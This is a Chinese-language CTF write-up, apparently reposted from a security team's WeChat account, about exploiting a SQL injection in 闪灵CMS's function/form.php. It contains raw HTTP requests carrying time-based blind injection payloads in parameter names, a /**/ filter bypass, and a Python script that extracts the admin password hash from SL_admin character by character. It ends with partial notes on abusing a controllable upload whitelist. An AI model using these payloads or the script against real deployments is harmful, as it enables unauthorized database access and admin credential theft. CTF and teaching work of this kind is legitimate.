说实话这个过程还是很曲折的,几乎试遍了互联网上所有公开的漏洞,后来晚上搜索闪灵CMS漏洞的时候(之前基本上都搜索的S-CMS漏洞),发现t00ls有相关文章:https://www.t00ls.net/viewthread.php?tid=58472&highlight=%E9%97%AA%E7%81%B5
其漏洞产生文件为function/form.php,经过对比代码,确实漏洞未修复。
因为所有传入参数的值都带入check_input2处理过了,因此参数值不会存在注入,而参数名仍可以存在注入:
测试漏洞:
POST //function/form.php?action=input HTTP/1.1
Host: 10.211.55.10:8081
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 14
Content-Type: application/x-www-form-urlencoded
1-sleep(5)=xxx
1-if((select(length(A_pwd))from SL_admin)%3d32,sleep(5),1)=xxx
但却,无延时:
1-if((select(length(A_pwd))from/**/SL_admin)%3d32,sleep(5),1)=xxx
import requests,time
x = [str(x) for x in range(0, 10)]
y = [chr(y) for y in range(97, 123)]
# z = [chr(y) for y in range(65, 90)] # 大写字母
dic = x+y
url = 'http://10.211.55.10:8081/'
result=''
for i in range(1,33):
for j in dic:
data={
"1-if((select(substr(A_pwd,{},1))from/**/SL_admin)='{}',sleep(5),1)".format(str(i),j):"xxx"
}
startTime = time.time()
res = requests.post(url+'/function/form.php?action=input',data=data)
endTime = time.time()
if endTime - startTime > 5:
result=result+j
print('[+] '+result)
break
-
获取路径
-
截取上传文件后缀
-
如果当a传入值为a是,保存为原始文件名
-
然后进行黑名单校验(防止有脚本传入)
-
白名单校验
-
这里白名单是可控的,如下:
本文始发于微信公众号(川云安全团队):医疗行业CTF-easy_cms解题过程
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论